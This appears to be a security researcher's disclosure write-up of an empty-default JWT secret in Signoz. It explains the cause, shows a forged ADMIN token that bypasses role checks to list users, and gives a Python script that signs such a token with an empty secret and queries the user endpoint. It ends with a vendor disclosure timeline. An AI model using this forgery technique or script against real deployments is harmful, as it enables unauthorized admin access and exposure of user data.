Signoz JWT Forgery and Unauthenticated Account Takeover
During spring of 2025 I found myself working with an open-source log collection and visualization software project called Signoz. As they describe themselves
SigNoz is an open-source Datadog or New Relic alternative. Get APM, logs, traces, metrics, exceptions, & alerts in a single tool.
As I was having to very intensely stare at its codebase and to set it up multiple times I noticed an issue that it was having. Namely, that every version of Signoz since the introduction of they JWT-based authentication system was defaulting to use an empty secret string when you were following the official setup instructions.
The Bug
The vulnerability stems from the file ee/query-service/main.go (present since v0.11.0 but latest versions don’t include this file anymore) where the JWT token is fetched from an environment variable and its length is checked before using it in the authentication system.
jwtSecret := os.Getenv("SIGNOZ_JWT_SECRET")
if len(jwtSecret) == 0 {
zap.L().Warn("No JWT secret key is specified.")
} else {
zap.L().Info("JWT secret key set successfully.")
}
jwt := authtypes.NewJWT(jwtSecret, 30*time.Minute, 30*24*time.Hour)
Now technically a warning is thrown when launching the docker service, but it is buried inbetween an avalanche of other debugging info. Here is just the logs from the Signoz service, other services are even more verbose and active at logging everything. So good luck noticing it when launching the service with docker compose.
signoz | [Deprecated] env STORAGE is deprecated and scheduled for removal. Please use SIGNOZ_TELEMETRYSTORE_PROVIDER instead.
signoz | [Deprecated] flag --config is deprecated for passing prometheus config. The flag will be used for passing the entire SigNoz config. More details can be found at https://github.com/SigNoz/signoz/issues/6805.
signoz | [Deprecated] env TELEMETRY_ENABLED is deprecated and scheduled for removal. Please use SIGNOZ_ANALYTICS_ENABLED instead.
signoz |
signoz | -**********=
signoz | .::-=+**********+=--:.
signoz | .-=*******++=-----==+******=-.
signoz | :-+*******=:. :-+******=:
signoz | .-********+: .=*******=.
signoz | :+********+: .=*******+:
signoz | .+*********+ :+***+. -********+:
signoz | -**********+. .****= =*********= ____ _ _ _ ____ _ _ _
signoz | .************: +**** +**********: / ___|| |_ __ _ _ __| |_(_)_ __ __ _ / ___|(_) __ _| \ | | ___ ____
signoz | .************+ .----: -***********- \___ \| __/ _` | '__| __| | '_ \ / _` | \___ \| |/ _` | \| |/ _ \_ /
signoz | *************= :************. ___) | || (_| | | | |_| | | | | (_| | ___) | | (_| | |\ | (_) / / _ _ _
signoz | :************+ ----: -***********= |____/ \__\__,_|_| \__|_|_| |_|\__, | |____/|_|\__, |_| \_|\___/___(_|_|_)
signoz | :************. ***** +**********: |___/ |___/
signoz | .=**********+ :****= -*********+. Version: v0.87.0 (enterprise) [Copyright 2025 SigNoz, All rights reserved]
signoz | :+*********+ :+***+ -********+:
signoz | :+********+. =*******+-
signoz | :=********=. -*******=:
signoz | :=*******+-. .-+******=-.
signoz | :-+*******+=--:::--=+******+=:
signoz | .:-==+***********+=-::
signoz | :**********=
signoz |
signoz | {"level":"warn","timestamp":"2025-08-04T15:30:20.481Z","caller":"query-service/main.go:123","msg":"No JWT secret key is specified."}
signoz | {"timestamp":"2025-08-04T15:30:20.484057763Z","level":"INFO","code":{"function":"github.com/SigNoz/signoz/pkg/signoz.New","file":"/home/runner/work/signoz/signoz/pkg/signoz/signoz.go","line":70},"msg":"starting signoz","version":"v0.87.0","variant":"enterprise","commit":"17f48d6","branch":"v0.87.0","go":"go1.23.9","timestamp":"2025-06-11T06:46:23Z"}
signoz | {"timestamp":"2025-08-04T15:30:20.486705883Z","level":"INFO","code":{"function":"github.com/SigNoz/signoz/pkg/sqlstore/sqlitesqlstore.New","file":"/home/runner/work/signoz/signoz/pkg/sqlstore/sqlitesqlstore/provider.go","line":46},"msg":"connected to sqlite","logger":"github.com/SigNoz/signoz/pkg/sqlitesqlstore","path":"/var/lib/signoz/signoz.db"}
signoz | {"timestamp":"2025-08-04T15:30:20.488713921Z","level":"ERROR","code":{"function":"github.com/prometheus/prometheus/promql.NewActiveQueryTracker","file":"/home/runner/go/pkg/mod/github.com/prometheus/prometheus@v0.300.1/promql/query_logger.go","line":137},"msg":"Failed to create directory for logging active queries","logger":"github.com/SigNoz/signoz/pkg/prometheus/clickhouseprometheus"}
signoz | {"timestamp":"2025-08-04T15:30:20.49269765Z","level":"INFO","code":{"function":"github.com/SigNoz/signoz/pkg/sqlmigrator.(*migrator).Migrate","file":"/home/runner/work/signoz/signoz/pkg/sqlmigrator/migrator.go","line":43},"msg":"starting sqlstore migrations","logger":"github.com/SigNoz/signoz/pkg/sqlmigrator","dialect":"sqlite"}
signoz | {"timestamp":"2025-08-04T15:30:20.513027122Z","level":"INFO","code":{"function":"github.com/SigNoz/signoz/pkg/sqlmigrator.(*migrator).Lock","file":"/home/runner/work/signoz/signoz/pkg/sqlmigrator/migrator.go","line":90},"msg":"acquired migration lock","logger":"github.com/SigNoz/signoz/pkg/sqlmigrator","dialect":"sqlite"}
Specifying the SIGNOZ_JWT_SECRET environment variable was not mentioned as a necessity in any of the documentation on the project’s GitHub nor the website’s docs. Furthermore, the Dockerfiles, the docker-compose files and the easy-deploy script for standalone deployment did not mention the environment variable at all so the only way you’d know that you needed to set this variable was either by sniping it in all the Docker log output, by coming through the code or by noticing that the docker-swarm/docker-compose.ha.yaml file does set it.
Token Forgery to Unauthenticated Admin Access
What the bug allows an attacker to do is start forging JWT access tokens as the secret that is used to sign those tokens is predictable. So any field that Signoz uses from a given authentication token can be tampered with.
Knowing that signatures can be created with an empty secret I dove into to the codebase even more to see how far I could get with this token forgery.
I first created two users, an admin and a normal user (Editor) to see if it was possible to become admin from being just a low-privileged user. My initial approach was to simply change the role field of my currently active JWT from EDITOR to ADMIN.
{
"header":{
"alg":"HS256",
"typ":"JWT"
},
"payload":{
"exp":1754325071,
"iat":1754323271,
"id":"019875d0-bebe-7179-878c-19a8779ab8f5",
"email":"editor@example.com",
"role":"EDITOR",
"orgId":"019875ce-58ba-7653-b9df-46599d83ba6a"
}
}
However using that new forged token the web UI would still look the same. Luckily there was an API endpoint /api/v1/orgUsers/<orgId> (later deprecated) that allowed me to see all the users within my organization along with their emails, IDs, orgIds and roles. That endpoint was admin protected.
{
"status": "error",
"error": {
"code": "forbidden",
"message": "only admins can access this resource"
}
}
Changing just the role field bypassed that check.
{
"status": "success",
"data": [
{
"id": "019875ce-58d1-739a-81e8-4c9f225fef8b",
"createdAt": "2025-08-04T15: 58: 34.193236Z",
"updatedAt": "0001-01-01T00: 00: 00Z",
"displayName": "adminUser",
"email": "admin@example.com",
"role": "ADMIN",
"orgId": "019875ce-58ba-7653-b9df-46599d83ba6a",
"organization": "exampleOrg"
},
{
"id": "019875d0-bebe-7179-878c-19a8779ab8f5",
"createdAt": "2025-08-04T16: 01: 11.358096anZ",
"updatedAt": "0001-01-01T00: 00: 00Z",
"displayName": "editorUser",
"email": "editor@example.com",
"role": "EDITOR",
"orgId": "019875ce-58ba-7653-b9df-46599d83ba6a",
"organization": "exampleOrg"
}
]
}
This information can be used to forge an identical JWT for any other user. Sidenote, to get the web UI to also display options reserved for the admin user, you need to change the USER_ID value in local storage to be the target user’s ID.
Escalating from an unprivileged user was fun but I wanted to see if I could push it even more and see if there was also a way for an unauthenticated user to become admin. Being an unprivileged user had the benefit of already knowing the user’s id and orgId, which are necessary for many API endpoints and for assuming the identity of another user, but an unauthenticated user can’t guess those values. Therefore I needed to find endpoints in the application that didn’t care about those values and would allow you to fetch existing users and their groups based on just a valid signature and the role ADMIN.
After coming through the API endpoints listed in pkg/query-service/app/http_handler.go and ee/query-service/app/api/api.go I found the endpoint /api/v1/user that does exactly that. A VIEWER or EDITOR role only results in a ‘forbidden’ error message, even if all other details in the JWT match the admin user. Changing the ‘role’ field to ‘ADMIN’ once again gives us the details of all registered users.
{
"status": "success",
"data": [
{
"id": "019875ce-58d1-739a-81e8-4c9f225fef8b",
"createdAt": "2025-08-04T15:58:34.193236Z",
"updatedAt": "0001-01-01T00:00:00Z",
"displayName": "adminUser",
"email": "admin@example.com",
"role": "ADMIN",
"orgId": "019875ce-58ba-7653-b9df-46599d83ba6a",
"organization": "exampleOrg"
},
{
"id": "019875d0-bebe-7179-878c-19a8779ab8f5",
"createdAt": "2025-08-04T16:01:11.358096anZ",
"updatedAt": "0001-01-01T00:00:00Z",
"displayName": "editorUser",
"email": "editor@example.com",
"role": "EDITOR",
"orgId": "019875ce-58ba-7653-b9df-46599d83ba6a",
"organization": "exampleOrg"
}
]
}
PS: This test was done against Signoz version 0.83.0. The JWT empty secret misconfiguration issue has been present since version 0.8.0. Signoz versions up to 0.83.0 did not contain the
rolefield in the JWT tokens but rather theexp,iat,gid,id, andorgIdso this exact vector of attack doesn’t work in those older versions. Versions 0.84.0 and after also don’t contain theapi/v1/orgUsers/<orgId>endpoint.
Vulnerability Scan Script
import requests
import jwt
# Earlier versions used port 3301 for the Signoz frontend.
url = "http://localhost:8080/api/v1/user"
header = {
"typ": "JWT",
"alg": "HS256"
}
# Nothing but the "role" filed actually matters for this API endpoint
payload = {
"exp": 2054565426,
"iat": 1754493162,
"id": "a",
"email": "a",
"role": "ADMIN",
"orgId": "a"
}
token = jwt.encode(payload, "", algorithm="HS256")
print("JWT:", token)
headers = {"Authorization": f"Bearer {token}"}
r = requests.get(url, headers=headers)
try:
r_json = r.json()
print(r_json)
if 'errorType' in r_json:
print('Potentially not vulnerable')
else:
print('Vulnerable!')
except:
print("Potentially not vulnerable.")
Disclosure and Fix
May 14 2025 I contact the Signoz team regarding this issue
May 20 2025 I get a reply back saying that this issue will be handled by updating the documentation and setting the code to either fail or give a warning when the JWT secret is not set.
June I ping the team for updates.
July 4 2025 I notice that the team has created an issue on GitHub addressing the issue and mention that they also updated the docs and that starting from version 0.91.0 the warning will be even more explicit and descriptive when launching Signoz without setting the JWT secret.